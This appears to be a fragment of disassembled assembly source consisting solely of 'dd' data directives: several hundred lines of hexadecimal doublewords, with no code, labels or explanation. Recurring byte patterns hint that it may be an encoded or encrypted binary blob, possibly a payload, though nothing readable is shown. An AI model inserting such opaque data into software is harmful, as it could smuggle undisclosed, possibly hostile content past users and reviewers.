		dd 0EC223215h, 0A6AE54D4h, 39B453B1h, 9969B61Ah, 5ADACDEAh
		dd 9933D74h, 8F883210h,	6644321Ah, 2569EE87h, 4769C548h
		dd 7959FE23h, 5AEFF824h, 6EA43D6Fh, 9FEECDEAh, 668D7FFCh
		dd 6650DB15h, 57463215h, 0A6D94B14h, 7FA08421h,	0CAF08F3Eh
		dd 2CACEB0Dh, 367177B1h, 0DED1F19Fh, 0EB1AE7Ch,	0C19C6474h
		dd 0E718C052h, 9AFA08D3h, 338AB360h, 0E74CC953h, 862845E3h
		dd 8366B349h, 0E733F033h, 0C44250E3h, 38E31B41h, 6694B81Ah
		dd 8F243215h, 66223210h, 7F61F841h, 6683DB76h, 4E463215h
		dd 824F7A30h, 0F5E61C7Ch, 94B1539Dh, 629CB61Ah,	0E52D3215h
		dd 66113214h, 2F42B5EDh, 0B775F824h, 0EA2DF824h, 66113212h
		dd 6689B41Ah, 36BD3215h, 662233ADh, 3ED03315h, 0E77CB875h
		dd 0BCA06CC5h, 3ECB5329h, 9EEECDEBh, 0E287FB90h, 6644368Fh
		dd 0DB97BFECh, 616DB1Bh, 3640B973h, 3EBD851Ah, 77A75A74h
		dd 52983215h, 0EF5EBB31h, 0EB4B6CE4h, 66223219h, 6617B71Ah
		dd 0EF873215h, 66443215h, 4226B347h, 97B661Ch, 6F32604Ah
		dd 4F2B5841h, 61CB68C2h, 14113215h, 43C998F5h, 0D117B0D2h
		dd 0A6FDC48Ah, 0D34030F2h, 0E66DE2AFh, 0A3C46DE0h, 0E6D7B247h
		dd 0E648DD35h, 9E0064FAh, 0D1F6524Eh, 9453A1AAh, 13BF533Bh
		dd 0E387CEE8h, 6644320Bh, 663ABC1Ah, 75F83215h,	97883215h
		dd 716EAD98h, 4ACF5B50h, 0F210E0A5h, 0A246D1F9h, 0A7C51F59h
		dd 2AF46E25h, 2069DB94h, 9FA11F43h, 203CF394h, 8FA31F43h
		dd 2AC76E25h, 668FBC1Ah, 0EC4B3215h, 66223214h,	619C3DE0h
		dd 69883215h, 66443396h, 8AA3CB15h, 66113211h, 91AC3E9Ch
		dd 8F1D1609h, 6622321Fh, 97C0347Eh, 2FC412ABh, 89C5E6E7h
		dd 64BC3DF2h, 489EDD94h, 0A9A12269h, 48CBF594h,	0A1A32269h
		dd 648F3DF2h, 668835FCh, 77170F15h, 63405994h, 661137FCh
		dd 945F7915h, 9175DE17h, 9113CC24h, 661122FCh, 23020A15h
		dd 0B580417Bh, 8FA0094Ah, 0DA05A9CBh, 62CC103h,	6DADFD9Eh
		dd 0BD223215h, 0C71F4E01h, 8812B32Bh, 372581BDh, 512E0AACh
		dd 0DAE0B37Ch, 0E7DCFE41h, 62E349D4h, 0A0DB33D7h, 6483214h
		dd 648F095h, 66443CFCh,	0D4CF0D15h, 0DDFD9E7Dh,	0C5E9269Bh
		dd 744ED41h, 0DBB7BF74h, 6916DB1Bh, 66882B97h, 75C43D15h
		dd 8F223215h, 6611321Bh, 5DBFFEE9h, 0E7C959EFh,	1A735FDAh
		dd 0E39AFAC0h, 61611CC8h, 6645B71Ah, 0E3DB3215h, 1A943DD5h
		dd 8F883215h, 66443204h, 56B83909h, 19A1FDBBh, 2190A8B6h
		dd 929172C4h, 74CB522Ah, 3B113215h, 461D0D94h, 1DEE0068h
		dd 0D6339222h, 0B9304154h, 773B962h, 401DB7D3h,	66535FCh
		dd 6611B01Ah, 6B3E3215h, 0C1965A74h, 0ED42E68Fh, 0D3EE53E2h
		dd 61613904h, 6645BA1Ah, 0EBDA3215h, 8A8EE990h,	0B677CB12h
		dd 65CD3D75h, 223215h, 0E71EE29Eh, 6688321Fh, 664437FCh
		dd 6619A715h, 37703D22h, 0A709D39Ch, 66443211h,	0E126DB96h
		dd 0EF4D1619h, 0E6E81601h, 8ECE01D1h, 8FF2CD74h, 66113204h
		dd 0C6D4D918h, 0EE87FB59h, 31C84BD6h, 26CAB0B8h, 6948B76Ah
		dd 66456290h, 6636DB15h, 0D8743215h, 0D3C2EBD9h, 0C4867FAFh
		dd 0CBDE7A4Bh, 48624A1Ch, 0E303C18Ch, 61AD3254h, 6624B91Ah
		dd 6713215h, 7D36074h, 0E34BF290h, 6622328Fh, 661122FCh
		dd 0B22CC915h, 0A67B74EDh, 0F4925E50h, 0D1C6042Fh, 3F0DF4B8h
		dd 2A43DB33h, 0A6F7B275h, 7AF85A74h, 6E61EBCFh,	96443215h
		dd 3DB10A0Fh, 99EB1C37h, 8F8323A0h, 0E0F05212h,	0A1B5E394h
		dd 9E70036Bh, 0F953B798h, 0E34B35F9h, 6622321Ah, 6617DB75h
		dd 19C73215h, 0BBDE24DDh, 6943F59Eh, 66110090h,	72605215h
		dd 0A5443215h, 0EB96AE73h, 9BC984B1h, 5EB694D9h, 0B153AE62h
		dd 3C8CB08Bh, 661123FCh, 0A0F6D615h, 372C5F91h,	0A7EB18C4h
		dd 2033F10Eh, 99E9B214h, 622CCBC5h, 0EF223247h,	69711601h
		dd 66883491h, 9796B315h, 693FFB66h, 9970F5A2h, 1C3252C5h
		dd 6444EF9h, 58EDB373h,	6605DB64h, 0FA793215h, 6FC0105Ch
		dd 0FA7AFAF4h, 592BE7F3h, 15FFA7C1h, 725C28Ah, 0E32DF290h
		dd 6611322Ch, 6690BC1Ah, 75AD3215h, 0E5223215h,	18268BEBh
		dd 906A9F22h, 64F13050h, 0C3A8AAD0h, 89F8FA11h,	8F883215h
		dd 66443205h, 0B5AA0114h, 349AD756h, 0E4564CB9h, 632F807Bh
		dd 12A7BBEDh, 616C302h,	8F4F8D1Ah, 66443201h, 5671F4C2h
		dd 345C7814h, 0DC1A02FBh, 0C4BB6071h, 2A58596Ch, 6605DB74h
		dd 34E43215h, 0A1F20F02h, 0BC88B988h, 22341EC5h, 4242C276h
		dd 0EF14BB9Fh, 662637F5h, 623C3215h, 0E1883215h, 0EF181611h
		dd 8FDB1611h, 66113204h, 98EA885Dh, 0D790199Fh,	2BD32CD7h
		dd 4F30E792h, 6A25A1Ch,	52CD3215h, 662BDB31h, 2FB23215h
		dd 7B2A09AAh, 9F1BA372h, 0D157B798h, 0ED7135F9h, 0B67753DDh
		dd 66443AFCh, 290A6E15h, 7B651649h, 6685DB4Ch, 1D143215h
		dd 0DCE04750h, 4B69C1A1h, 6D435BAEh, 6BC13DD5h,	9A223215h
		dd 661113FCh, 670C3D15h, 9A443215h, 7A06769Ch, 661123FCh
		dd 2A4D8C15h, 0E27543E9h, 793546C3h, 0C4AEC832h, 8FE9B1ACh
		dd 66443219h, 0E5FCD312h, 7E1320Bh, 55C3FB2h, 0EC4B52D6h
		dd 66223213h, 39F6D394h, 77D7E26h, 61C23D75h, 69223215h
		dd 66113398h, 0ED71CE15h, 97534698h, 414AC712h,	0EF113242h
		dd 0EA871611h, 66443212h, 69C5475h, 670CAA0h, 6960F59Eh
		dd 443215h, 16DA3CA0h, 595C0B52h, 8D185254h, 0CFF282E4h
		dd 8AA3534Fh, 66113211h, 3EAC3E9Ch, 6643B41Ah, 0E72D3215h
		dd 66113214h, 0D9DF63ECh, 66443229h, 677DCB9Ch,	3F1031D4h
		dd 60616075h, 0A0443215h, 0A2638990h, 7E868ECh,	668821FCh
		dd 83E56515h, 6F29B3A4h, 9EA209CBh, 5B50C44Ah, 60A52D94h
		dd 66AA82EAh, 62903215h, 8B8C1E31h, 0D812687Ah,	9CF3639h
		dd 64FC03Ch, 0BF9D094h,	60AC54A2h, 0AE223215h, 3627AFBDh
		dd 6681DB8Ch, 261D3215h, 658F518h, 3EF93F06h, 0D31DBB74h
		dd 8F43DB14h, 66223218h, 598FD803h, 2E5198BDh, 0A4389A04h
		dd 6E9C642Eh, 201AB512h, 2F0CD494h, 0A0C54C1Bh,	93DBCDEDh
		dd 0ED791D38h, 6378330Bh, 78CF5A3Ah, 16DDCA4Bh,	0B5AF6419h
		dd 4FF1F139h, 38401661h, 0B5E0B34Fh, 6968F139h,	66883A93h
		dd 0E7225215h, 9ABA41D6h, 6CF85274h, 0FB883215h, 63697874h
		dd 905E2EBAh, 6AE527Ah,	0D8B45F31h, 55627E74h, 0F3AB5374h
		dd 61F811ACh, 6203CBE9h, 87CD6331h, 6626F394h, 0A7923215h
		dd 4284B511h, 6641DB49h, 20173215h, 99EA5287h, 0EDAC1661h
		dd 0A2C71611h, 662ADB11h, 550E3215h, 3FC8975Bh,	0EE4B71E1h
		dd 66223219h, 6617BE1Ah, 0EC873215h, 66443215h,	5C3F8847h
		dd 0AC9036B5h, 4F2C0033h, 84C5E0E2h, 47157528h,	567BF094h
		dd 0B6895714h, 4B8C1B4Fh, 336477Fh, 661122FCh, 75BAEE15h
		dd 19F7E2D2h, 0DAF92C59h, 0F384B0FAh, 77003D5Bh, 8F443215h
		dd 66223219h, 45BA8B2Fh
		dd 84EFEA65h, 4832392Dh, 459BB72Eh, 0E41E35FCh,	66883250h
		dd 664421FCh, 14758B15h, 8763FFC6h, 5EDD8D76h, 0E00B6041h
		dd 4A1C80E6h, 67A4B72Eh, 0E58735FCh, 66443234h,	0A4DB53ECh
		dd 0E41E3211h, 66883200h, 664422FCh, 638DD615h,	0C58F74BCh
		dd 48A5CFBEh, 121E9D26h, 77CB532Eh, 0A2113215h,	21772FBFh
		dd 303AC6BBh, 0C378443Ah, 0B64AFB41h, 6698B71Ah, 6DAD3215h
		dd 2E223215h, 5E5F4EC1h, 86D5B072h, 6283D4FAh, 3E7D0331h
		dd 4235F331h, 4284CD13h, 30600694h, 3516AA72h, 0E9BA5BAEh
		dd 42D41B37h, 6CAD6911h, 1E223215h, 0E7567AEAh,	7F5751D4h
		dd 4200F535h, 86714F11h, 427DF334h, 12093711h, 17203631h
		dd 2ADD28FDh, 0AD03631h, 338E3631h, 0D8744BA8h,	424E0313h
		dd 22906F1Dh, 34C23631h, 0E74BCB3Bh, 66223218h,	66973D75h
		dd 883215h, 58DAD194h, 659C6474h, 0E77C9D5Fh, 29EAA6DBh
		dd 5082B305h, 0E731A467h, 1F4969E3h, 727F646Eh,	0A0C56C31h
		dd 8CDEB689h, 8F4FC29Ch, 66883205h, 73BE37A3h, 0D51E9279h
		dd 644D1FBEh, 0D76F6433h, 2B1EBF98h, 74CB35FCh,	1B113215h
		dd 0B24F3578h, 0A53B22E8h, 6EDE0733h, 3AD60D36h, 8F69CDA9h
		dd 66443205h, 134FDF1h,	9EE6EFD5h, 0D5C7F706h, 0B2BDC059h
		dd 0E52D5275h, 66113205h, 668839FCh, 7EC5FE15h,	77F2E781h
		dd 0CBAB2755h, 668822FDh, 0CA271215h, 9BD7950Ch, 2973B792h
		dd 0A6E40783h, 391C65FDh, 62CEB374h, 0EF113215h, 66331609h
		dd 67443215h, 3D21B8E6h, 66113EFCh, 4B018415h, 0AEF6BF17h
		dd 0B7907EE6h, 69F80E10h, 66897291h, 6AAC5215h,	0A9223215h
		dd 0DCBBD946h, 0F137A7D9h, 0C582C4h, 0D97DF39Eh, 2243B906h
		dd 69600E74h, 66456691h, 6625DB15h, 0E0E3215h, 0FBA84706h
		dd 6978CB2Bh, 661AB61Ah, 5AE83215h, 0BD0C3DD8h,	9A443214h
		dd 0E22DD929h, 6611300Dh, 668822FCh, 9A4EF15h, 5CC69ABCh
		dd 7AE3331Dh, 7DC2F44h,	0E44B5376h, 66223214h, 69D2CEECh
		dd 66883390h, 3015CA15h, 7F1F58ABh, 0DE7B32Fh, 0EFB22B28h
		dd 97456CE4h, 697B2B9Fh, 66113890h, 668DDB15h, 181A3215h
		dd 37B72F8Dh, 0A3EF0FA0h, 0B37EFFEBh, 98B98047h, 10D0B2DFh
		dd 561AF095h, 8B0868C0h, 3FAF1272h, 6636B71Ah, 0E81E3215h
		dd 6688321Bh, 66443BFCh, 0BF3A9E15h, 23B5789Bh,	9D08EA0Dh
		dd 0ECC13D95h, 9FDDCDEAh, 0EF15DE96h, 9ED31621h, 0E1760E9h
		dd 129409BEh, 0E7CAC54Eh, 2F4C7DFEh, 3D9EBB9Eh,	678E114h
		dd 66113EFCh, 0EA199015h, 3AF68B06h, 0DE2C47ACh, 0F1F1B38Ch
		dd 7E97EDEh, 26FB6547h,	0A75E8E2Bh, 0E75E30F2h,	69FA0CDAh
		dd 9BABB307h, 0EFD0CDEFh, 94106DEFh, 9FD22816h,	6644EAFCh
		dd 6625DB15h, 0B503215h, 0B58D6BF6h, 6732CD1Bh,	21CB8B44h
		dd 2A203BEDh, 3DD13631h, 21ADC194h, 0D8423BEDh,	96F199h
		dd 9D0B53E9h, 6EC03DEEh, 69223214h, 66113E98h, 60023D15h
		dd 69443215h, 6622329Fh, 62FDB315h, 0EF883215h,	8F1F1621h
		dd 66223218h, 6C31FE62h, 0B294B51Bh, 0B9992A25h, 6DA13D06h
		dd 8F113215h, 66883213h, 61FC8E23h, 0DC70823Dh,	66113214h
		dd 1BF3D894h, 94455EF8h, 1B59F094h, 7C125EF8h, 0DB524Fh
		dd 5ED4D894h, 77B634Ch,	661126FCh, 6053CA15h, 0A40708D4h
		dd 36B8B1Dh, 362923EDh,	0C7B4FC1Eh, 0DE146309h,	34CA29C2h
		dd 7570A210h, 56BE0727h, 869535F8h, 0ED70F810h,	2FF81F22h
		dd 0E48D6FCDh, 0EF641249h, 0AD236AD4h, 0BC9A524Ch, 98C7DB74h
		dd 61ADCDEAh, 71223215h, 3C5AC798h, 0D08763CDh,	0E84B334Bh
		dd 66223200h, 661FDB75h, 22203215h, 2E5B60D1h, 0B193B1F2h
		dd 9F81CCDDh, 4863B174h, 985FB61Ah, 3042CDEAh, 0E777524Ch
		dd 772C7C7h, 665DDB74h,	6FCB3215h, 0E6113215h, 0AF20864Ch
		dd 1E5B3042h, 98234C95h, 9BE2B71Ah, 8F74CDEAh, 99BBCE34h
		dd 60CA52E9h, 0C7113215h, 0BEDDED5Ah, 38BAB947h, 7DCB973h
		dd 6671A67Dh, 42BCBB15h, 83CD67EDh, 6626F794h, 8B903215h
		dd 66883211h, 3A601E92h, 6063E9Ch, 7CFB973h, 0E769BB44h
		dd 664436D4h, 62CBB315h, 0E1113215h, 0EFD41619h, 69BC1609h
		dd 66223391h, 0AC79CE15h, 0EF883234h, 241629h, 7CD4F294h
		dd 6AF853EDh, 24883215h, 0A0F6B3h, 31E5122Ah, 57612955h
		dd 0A40952D5h, 1F22A61h, 9E8E53E9h, 0A5996144h,	0EED3EB9Dh
		dd 34BD6BDEh, 8CE29AA7h, 82F3B212h, 9880D8D5h, 758EB2DFh
		dd 0A6AF8146h, 859136F6h, 0D97BB2F0h, 5634D995h, 0B50269CFh
		dd 6619DB4Fh, 72183215h, 11BE9DC6h, 0EF2D3F7Bh,	6611320Eh
		dd 669CDB75h, 84593215h, 0BC58F353h, 0EBB09D95h, 89C8595Ah
		dd 0C2434653h, 0E64336B5h, 0E21E42EEh, 668837F8h, 0A5C55475h
		dd 0DF44C68Dh, 5A70C8F4h, 6D0C3D1Ah, 69443214h,	66223E96h
		dd 60903D15h, 69883215h, 66443297h, 69CB0E15h, 661BCE91h
		dd 6E033D15h, 69443215h, 6622309Eh, 5A705215h, 620C3DFEh
		dd 9344321Ah, 0E22DD129h, 661131DEh, 70043DE0h,	6443215h
		dd 662238FCh, 0C2FA8715h, 4A61B251h, 6A3339h, 6DA8E094h
		dd 69F30E74h, 66986091h, 6656DB15h, 0DB5C3215h,	3636877Ch
		dd 832FBB75h, 0F8D9F232h, 0DC688E5Dh, 22A95475h, 5A035324h
		dd 83CD6731h, 6626F794h, 0A3923215h, 42A4B511h,	67C03D49h
		dd 93223215h, 3D3506EAh, 9A8CF696h, 35603E9Eh, 0A5A3D19Ch
		dd 66113211h, 0E18CF196h, 8F181609h, 66223204h,	0C234FEFFh
		dd 0E47F75DBh, 56372858h, 0E56783F4h, 6C963D5Ah, 8F883215h
		dd 66443210h, 0B13A3887h, 4225B90Ch, 0E76FBB42h, 664436D2h
		dd 62E5B115h, 3A350E92h, 668839FCh, 4E859615h, 0B62F596Fh
		dd 0ADEA222Ch, 6684DBD6h, 2EA63215h, 4DC64565h,	9E77A54Bh
		dd 0E34F270Dh, 61B52A51h, 66223213h, 0DF405375h, 66883215h
		dd 28F9DB94h, 972361F5h, 28ACF394h, 7F0261F5h, 0D715CA4Ch
		dd 0A6F3C442h, 0AFEF3AF4h, 0E68FDBD5h, 0A7C490D4h, 0EDE91258h
		dd 0A2921619h, 72605211h, 0F9443215h, 446168E9h, 2A2B02D3h
		dd 0AB9B12DEh, 3E0CE827h, 0FA8509h, 395F35ABh, 53738D73h
		dd 0E6BFB274h, 9926B71Ah, 63F8CDEAh, 99883215h,	0B792A9C5h
		dd 6625BC1Ah, 6713215h,	94373D74h, 67F96774h, 4F223215h
		dd 69716FFBh, 0B703F1A2h, 77C1B974h, 625DB3Fh, 0D3ACD194h
		dd 9603757Ch, 0DBD1B974h, 9E25DB0Eh, 661122FCh,	56D35B15h
		dd 39617B6Ch, 0ED36188h, 0DA6D70F0h, 52AF5A2Bh,	52CD3215h
		dd 426931h, 690EABAEh, 66883094h, 7255215h, 66248C43h
		dd 95103215h, 0E7AC069Eh, 664436D1h, 80A35215h,	47339045h
		dd 668DB51Ah, 4AFE3215h, 71D463Bh, 7C796445h, 38A3807Ch
		dd 0F5CC494h, 96AB19A7h, 65E1334Bh, 0EF876A0Dh,	6644320Ch
		dd 662226FCh, 0E6DE4C15h, 0BFDA345Fh, 0B3D311B5h, 287BC8E4h
		dd 111548E6h, 6950095Dh, 66443897h, 0BC19CA15h,	9821B41Ah
		dd 3670CDEAh, 4B23CEADh, 3EE11B14h, 0A590C93Ch,	67A555E9h
		dd 664EB71Ah, 0DD423215h, 2AD5AD8Ch, 76CEA95h, 664421FCh
		dd 0F5377915h, 0BF93F9B3h, 0CD1892E5h, 6BBB115Dh, 0A08BB789h
		dd 66178F40h, 8DA13215h, 0E7601E9Eh, 662236D1h,	0DF775215h
		dd 1937B76Fh, 70576D4h,	0E02D9F73h, 66113218h, 94095475h
		dd 0EB4B7B99h, 66223215h, 9FBA5474h, 66883EFCh,	65DEA615h
		dd 8B01A490h, 552D121Bh
		dd 8A0B62C0h, 4258BB11h, 75CB694Dh, 0BB113215h,	983A81A0h
		dd 9364AF4Fh, 0F14C1315h, 0AC86E063h, 0E8873FC4h, 66443219h
		dd 6624BD1Ah, 0EB1E3215h, 66883215h, 664ADBBEh,	0AC363215h
		dd 876B4C25h, 7C9A4BCEh, 0F31B9FF7h, 0EF26DE96h, 62AE1629h
		dd 67883215h, 68AD6DEBh, 7223215h, 0CD3831CBh, 0FEC0A826h
		dd 0CBFD56A2h, 421EBBF1h, 6602B81Ah, 68613215h,	0C6443215h
		dd 53585846h, 8AC1288Dh, 0D554A84Ah, 664ADB5Eh,	0B75C3215h
		dd 20B9D94Ch, 3E2A5EFAh, 122C1803h, 6A06469Ch, 0D8D6B975h
		dd 422C7A40h, 77F1BB74h, 625DB20h, 69C1B973h, 66883496h
		dd 66C53D15h, 7223215h,	393506EAh, 668CF694h, 0EDB13215h
		dd 0EF751609h, 62D6B3F2h, 0E7883215h, 664436D2h, 421EB515h
		dd 6618DB49h, 85E93215h, 265C2F78h, 9910D887h, 0E5481621h
		dd 0E836D1h, 27FAC094h,	66A93D43h, 3E113215h, 42BCCD74h
		dd 6280B34Bh, 6223215h,	0DEC8B373h, 84335430h, 0EF175387h
		dd 0BE9D65F6h, 2971B90Bh, 9109E5E2h, 0F930D339h, 0E57DC914h
		dd 7A9636D6h, 9EE86E31h, 0BAA2DB74h, 0A1DBCDEAh, 97097690h
		dd 66883012h, 71C13D15h, 6223215h, 66113DFCh, 0CD60DC15h
		dd 5333F515h, 518206h, 0E47A53D9h, 0EE8753EDh, 66443210h
		dd 0A9A95475h, 0DF406474h, 7AD63A80h, 62607E24h, 95A3694Ch
		dd 7A4F3A80h, 683E3DE0h, 0E64B52E9h, 66223213h,	6611B01Ah
		dd 68613215h, 7E443215h, 0EF12F929h, 5B09A2C2h,	0E6DC4454h
		dd 9FC4534Ch, 52A13D95h, 6113215h, 0BF6A8AEDh, 0E7257407h
		dd 203908D6h, 30DA3360h, 3AE66FABh, 0A0C57C1Ch,	0DCB9ECBh
		dd 9E4FC13Ch, 57CDD992h, 579903FEh, 9EDE52FEh, 66A6DB74h
		dd 34703215h, 976CCDA3h, 0E706269Eh, 661136D1h,	66E0CE15h
		dd 0E7443215h, 15A71639h, 6A383BEBh, 428CB331h,	6FBA4190h
		dd 61AC3D4Ch, 69113215h, 66883398h, 0DE14CE15h,	4F992639h
		dd 6B10DA96h, 7A5A27D6h, 7369E2E2h, 47E036FCh, 6E46AD4h
		dd 66883BFDh, 459D1515h, 0C088ED4Bh, 6FF96B29h,	7C883215h
		dd 0FDBB7391h, 0F7E58852h, 0E21E694Ah, 66883200h, 66443DFDh
		dd 7A7DAC15h, 76B93759h, 939484A5h, 0AB683F1h, 8DA3534Bh
		dd 1A1B18D0h, 4341F194h, 0AD6D47A1h, 43EBD994h,	0A59047A1h
		dd 1A8218D0h, 664422FCh, 0DEAD0715h, 984E42F5h,	9C1A4268h
		dd 10D60669h, 77A7B9F2h, 6916DB3Fh, 66882496h, 6655DB15h
		dd 0B4CD3215h, 70E10D23h, 129BB47h, 0AD1C9F30h,	0ED8CD119h
		dd 8F0A8F80h, 36E85212h, 7BDB94Fh, 6676E294h, 0E5702396h
		dd 8F876BA8h, 0E24B3312h, 662231F6h, 0A528C7EDh, 6551B01Ah
		dd 0E24B3215h, 66223214h, 69C20BECh, 99728F97h,	6CC23DEAh
		dd 8F223215h, 66113210h, 638CF26Dh, 65F1DBC5h, 0E12D3215h
		dd 66113214h, 220DF5EDh, 6443C30Dh, 8F223215h, 66113218h
		dd 0AB640C67h, 6BCE4290h, 4A734FECh, 62FDB1A1h,	3DAC069Ch
		dd 66443CFCh, 0F93A7015h, 13D029DAh, 9285F533h,	6930AD02h
		dd 423CA3h, 0E640FA9Eh,	7D744FBh, 69C4CB95h, 66226096h
		dd 0E31E5215h, 66883217h, 0D822F99Eh, 0E7435A10h, 0C44CCBFEh
		dd 2C63B34Ah, 671E3664h, 2CE1B3DEh, 0E74B3664h,	0C4D5CBD6h
		dd 0E117CB4Ah, 0E1611609h, 8F4A1609h, 66883219h, 0E2FF808Bh
		dd 0C1967C55h, 15C865B3h, 66E2DBE0h, 243215h, 8BF0FA94h
		dd 3470E89Eh, 0A8764FA3h, 0A642D4D5h, 0B8D434FBh, 4EEEC495h
		dd 429CB9E4h, 6940F696h, 66223391h, 0D946CA15h,	66883215h
		dd 9FCDFD3Ch, 0E7060E9Eh, 661136D1h, 35DDCB15h,	21660B7Dh
		dd 0E769691Dh, 0DECFF5D6h, 3D55BBE2h, 9F19DB34h, 3765D994h
		dd 0AD38241Eh, 61EF8D42h, 0A1C53AF5h, 6B097BF5h, 934EC914h
		dd 4C99B79Eh, 0ED4B35FCh, 66223234h, 6605DA75h,	0A643215h
		dd 0E1A29C3Ch, 0F4587B71h, 0AA140A19h, 94900DDBh, 1A4318h
		dd 5C5EF594h, 0DB84B974h, 68FDB0Eh, 0CEAAB373h,	0E543CEB1h
		dd 8F1E6BA8h, 0E2873312h, 66443072h, 6603BA1Ah,	69713215h
		dd 66883295h, 6650DB15h, 7FDF3215h, 0A13A09A3h,	6E2A36Dh
		dd 16F25E76h, 708556C0h, 69701ADAh, 66883394h, 0BE7FCE15h
		dd 6636B01Ah, 5FE83215h, 7D0E3DC6h, 6BBCDECh, 39F2B373h
		dd 49A8547Fh, 0DBDD534Dh, 66443214h, 9A7FDC3Ch,	0D6FF8546h
		dd 4E4436E8h, 3D881EEDh, 6636DB75h, 9FC43215h, 301F7C60h
		dd 5D8A22B3h, 2A7130D6h, 4E102C87h, 0E18770AFh,	66443216h
		dd 7ED851Ah, 0ED1ECEBFh, 66883204h, 66443EFCh, 5A504415h
		dd 0F2744F70h, 9FAA8EF5h, 62A8B131h, 0DD062E9Ch, 66113215h
		dd 6D02C114h, 67CC3D4Eh, 93223215h, 0D63D8047h,	0ED5802B9h
		dd 0A2C51601h, 66223211h, 639B3D75h, 0DD883215h, 19E09ED7h
		dd 63E08A73h, 0D043CA74h, 0ED79121Ah, 0A2C71601h, 30425211h
		dd 7E9534Eh, 0E787FA1Dh, 66443212h, 6623BD1Ah, 0CCED3215h
		dd 66883EFCh, 9B098515h, 0EF005E7Ah, 943580C4h,	0DC63B3B4h
		dd 0E71B401Ch, 772FECFEh, 0E7EA1B7Bh, 7785ECD6h, 0DC87B37Bh
		dd 9E7D401Ch, 83796240h, 3EE6E643h, 6346DAD4h, 8268D85Eh
		dd 4F49F79Ch, 0E0876FFEh, 66443214h, 8AA362ECh,	66113211h
		dd 3EAC2E9Ch, 6641DB4Eh, 0F51E3215h, 0CD435E6Ah, 668FB01Ah
		dd 0E04B3215h, 66223214h, 0DF4061E0h, 686949E0h, 7389C394h
		dd 0A7A37B7Fh, 0DE65A3DFh, 67D1F99Ch, 0ED2469CBh, 0D3AB53D3h
		dd 61F80704h, 0D1875275h, 0A6C453E2h, 0E3E55332h, 61F83D4Ch
		dd 66883214h, 6651B61Ah, 76CB3215h, 0CE113215h,	257D4723h
		dd 6FF6C32h, 0CE99D45Fh, 0E59C11E3h, 520136F9h,	0E7A2BB31h
		dd 662236D3h, 62D7B115h, 3AAC0692h, 64C43D75h, 37223215h
		dd 52EE534Eh, 0A20B6931h, 0E74B5211h, 66223213h, 6611BE1Ah
		dd 0E8873215h, 66443216h, 7D9B973h, 31353E9Eh, 0A109D59Ch
		dd 66443211h, 0E126F596h, 694D1629h, 66882A91h,	6AAD5215h
		dd 0AD223215h, 0B289588h, 376CA71Eh, 0DE639080h, 17888468h
		dd 87986374h, 146E8F40h, 0B7092E0Ch, 0E7677FF0h, 54F4F4F8h
		dd 3B61332Dh, 0E140F396h, 9F7E1619h, 0E7F6BB42h, 668836D2h
		dd 6283B115h, 57060E26h, 5A221629h, 8F746E31h, 99BBE57Dh
		dd 6623B21Ah, 36E93215h, 9977CDADh, 3E8233EAh, 6630B31Ah
		dd 6BF83215h, 92883215h, 0EF2C87E5h, 86CA1F2Ah,	0E48E4795h
		dd 8F3D6373h, 0ED22DA9Dh, 0A2A31619h, 66113217h, 0AB365475h
		dd 8FEE536Fh, 6622321Fh, 945B367Ah, 0E0217742h,	8AC5F430h
		dd 66223211h, 0E735069Ch, 11471621h, 531C77A7h,	239045DAh
		dd 9EAF64EDh, 20E8447Ch, 6DA7C494h, 0B0D57A0Dh,	66D2FC94h
		dd 90091187h, 86B4C431h, 4F7CC214h, 0DD21FEDh, 0EC872576h
		dd 66443231h, 662CDA75h, 0A7B73215h, 92E8F7CFh,	0BCFF1A4Dh
		dd 79216672h, 6618DB4Fh, 0B0473215h, 425F7688h,	7C10210h
		dd 6654CD7Dh, 4294BB15h, 664436AEh, 3DFA1B15h, 6601B01Ah
		dd 6D613215h, 0AA443215h, 393F78A4h, 8AB6F890h,	93237CF1h
		dd 0E7A5BB44h, 662236D4h, 62D0B115h, 0EDAC3E92h, 0EDB11631h
		dd 0EF751609h, 62D6B3F2h, 0E5883215h, 5AC336D2h, 74CB6E31h
		dd 4113215h, 9EF831C2h,	0E9B91FE7h, 0D64574E5h,	0D8C315D2h
		dd 6A03CE96h, 84CD6031h, 6626F094h, 0A4903215h,	66883211h
		dd 3A602692h, 6636B71Ah, 0EA1E3215h, 6688321Bh,	66443BFCh
		dd 0FB362815h, 0A3603A9Fh
		dd 5277EB20h, 0A2C56C31h, 66223211h, 12845AE9h,	4A013215h
		dd 0E7A1BB31h, 662236D0h, 62D4B115h, 3AAC1E92h,	0BF36DBE9h
		dd 0E42DCDEAh, 66113205h, 668839FCh, 8E09EA15h,	802D6815h
		dd 0B80E0A03h, 668FB61Ah, 0EA4B3215h, 66223214h, 2294F5ECh
		dd 638FC30Dh, 93443215h, 33D0BB47h, 8D98E79Ch, 6A616848h
		dd 0B3443215h, 0E42F6F84h, 92239D6Eh, 63FC5F7h,	66CD3D46h
		dd 3D223215h, 661139FCh, 0D1AC115h, 171BDB30h, 8223F007h
		dd 62AF6474h, 67883215h, 4270B9E6h, 8F26F696h, 66113206h
		dd 0D25C40Fh, 111CCB7Bh, 934FD9A9h, 0FAB21B3Eh,	34274E56h
		dd 664432AFh, 0BFE0B315h, 6702C511h, 0BF62B3E7h, 6557C511h
		dd 61CB680Fh, 1C113215h, 3DBB2898h, 0E3CFC917h,	61CB1804h
		dd 661122FCh, 0A1327515h, 38210D84h, 8F78D0FCh,	0E4BFBFD3h
		dd 0DB1DB90Bh, 6943DB0Eh, 66223B9Ch, 0ED775215h, 9D3754C6h
		dd 0E5125360h, 38DD1611h, 661138FCh, 0B1973515h, 0BF3BD443h
		dd 0E5364DDEh, 8F21F7A8h, 0E2873312h, 664434A1h, 6636B31Ah
		dd 69F83215h, 64883215h, 0DF8D80E1h, 58F5054Dh,	98A2136Ah
		dd 0BEB3827Ch, 6668B01Ah, 6FCB3215h, 7113215h, 827258C6h
		dd 8221FF59h, 0E02DE82Eh, 6611335Ch, 0DD705275h, 558738B7h
		dd 60AC3D74h, 69113215h, 6688329Ah, 0D3CD5315h,	61CB0704h
		dd 6610B41Ah, 0ED713215h, 975C7688h, 67AE3D12h,	93113215h
		dd 6AAC5E94h, 728562E7h, 6A066E14h, 36E38A45h, 228926D4h
		dd 8F1C2231h, 66223204h, 0B257FD01h, 0AD5BC2B7h, 5FCF08ACh
		dd 808BD75Ch, 600BDB8Dh, 76613215h, 9F443215h, 9EE790C6h
		dd 4A35E4h, 0D976A3B1h,	992CD193h, 0E77D1621h, 661136D1h
		dd 0E34FC715h, 61AD02D0h, 66223214h, 661123FCh,	2073EF15h
